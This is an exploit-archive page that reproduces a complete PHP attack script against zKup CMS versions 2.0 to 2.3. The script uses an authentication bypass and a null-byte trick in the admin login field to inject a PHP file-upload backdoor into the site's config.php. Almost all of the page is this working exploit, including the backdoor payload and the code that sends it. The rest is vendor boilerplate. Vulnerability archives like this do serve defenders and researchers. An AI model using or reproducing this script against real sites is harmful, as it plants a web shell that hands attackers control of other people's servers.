Lucene search
K

zKup CMS 2.0 <= 2.3 - Remote Upload Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

zKup CMS 2.0 <= 2.3 Remote Upload Exploi

Code

                                                #!/usr/bin/php
&#60;?php
/*
 * Name:    zKup CMS v2.0 &#60;= v2.3 0-day exploit (upload)
 * Credits: Charles &#34;real&#34; F. &#60;charlesfol[at]hotmail.fr&#62;
 * Date:    03-08-2008
 * Conditions: PHP Version, magic_quotes_gpc=Off
 *
 * This exploit spawn a php uploader in your victim&#39;s
 * server.
 *
 * Okay, you may need explanations:
 *
 * First, we can use administration without being admin
 * (see ./admin/configuration/modifier.php)
 *
 * Then, when we add an admin, it is saved in a php file,
 * named &#34;./fichiers/config.php&#34;.
 * A vuln is present when the script controls $login value,
 * because it use this regex: #^[a-zA-Z0-9]+$#
 * in order to see if it&#39;s alphanumerical.
 * I bypassed this regex using a NULL POISON BYTE (%00),
 * and writing my upload script just after.
 * I finally put some lines in order not to
 * corrupt config.php.
 *
 */

print &#34;\n&#34;;
print &#34;   zKup CMS v2.0 &#60;= v2.3 0-day exploit (upload)\n&#34;;
print &#34;       by Charles \&#34;real\&#34; F. &#60;charlesfol[at]hotmail.fr&#62;\n\n&#34;;

if($argc&#60;2) { print &#34;usage: php zkup2_upload_exploit.php &#60;url&#62;\n   eg: php zkup2_upload_exploit.php http://127.0.0.1/votresite/&#34;;exit(-1); }
$url = $argv[1];

$code = &#39;
if(isset($_POST[\&#39;upload\&#39;]))
{
    if( !move_uploaded_file($_FILES[\&#39;file\&#39;][\&#39;tmp_name\&#39;], &#34;./&#34;.$_FILES[\&#39;file\&#39;][\&#39;name\&#39;])) exit(&#34;&#60;center&#62;Error (move_uploaded_file)&#60;/center&#62;&#34;);
    else echo &#34;&#60;center&#62;File uploaded&#60;/center&#62;&#34;;
}
if($_GET[\&#39;up\&#39;]==1)
{
?&#62;
&#60;form method=&#34;post&#34; enctype=&#34;multipart/form-data&#34;&#62;
&#60;center&#62;
&#60;input type=&#34;file&#34; name=&#34;file&#34;&#62;
&#60;input type=&#34;submit&#34; name=&#34;upload&#34; value=&#34;Upload&#34;&#62;
&#60;/center&#62;
&#60;/form&#62;
&#60;?php
}
&#39;;
$code = urlencode($code);

/* Not to compromise config.php work */
$restore = array();
$restore[0] = &#39;admin&#39;.rand(100,200).&#39;%00&#34;,&#34;mdp&#34;=&#62;&#34;436ae61e82a236bd4771e184a556bf65&#34;,&#34;lvl&#34;=&#62;9);&#39;;
$restore[1] = &#39;$tAdmin[] = array(&#34;login&#34;=&#62; &#34;admin&#39;.rand(200,300);

$postit = &#34;action=ajout&login=$restore[0]$code$restore[1]&mdp=real&mdp2=real&lvl=9&#34;;

print &#34;[*] sending evil c0de ... &#34;;
if(preg_match(&#34;#alert#i&#34;,post($url.&#34;admin/configuration/modifier.php&#34;,&#34;$postit&#34;))) print &#34;done.\n[*] upload script: &#34;.$url.&#34;fichiers/config.php?up=1\n&#34;;
else print &#34;failed.\n&#34;;

function post($url,$data,$get=1)
{
	$result = &#39;&#39;;
	preg_match(&#34;#^http://([^/]+)(/.*)$#i&#34;,$url,$info);
	$host = $info[1];
	$page = $info[2];
	$fp = fsockopen($host, 80, &$errno, &$errstr, 30);
	
	$req  = &#34;POST $page HTTP/1.1\r\n&#34;;
	$req .= &#34;Host: $host\r\n&#34;;
	$req .= &#34;User-Agent: Mozilla Firefox\r\n&#34;;
	$req .= &#34;Connection: close\r\n&#34;;
	$req .= &#34;Content-type: application/x-www-form-urlencoded\r\n&#34;;
	$req .= &#34;Content-length: &#34;.strlen( $data ).&#34;\r\n&#34;;
	$req .= &#34;\r\n&#34;;
	$req .= $data.&#34;\r\n&#34;;

	fputs($fp,$req);
	
	if($get) while(!feof($fp)) $result .= fgets($fp,128);
	
	fclose($fp);
	return $result;
}

?&#62;

# milw0rm.com [2008-03-07]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
11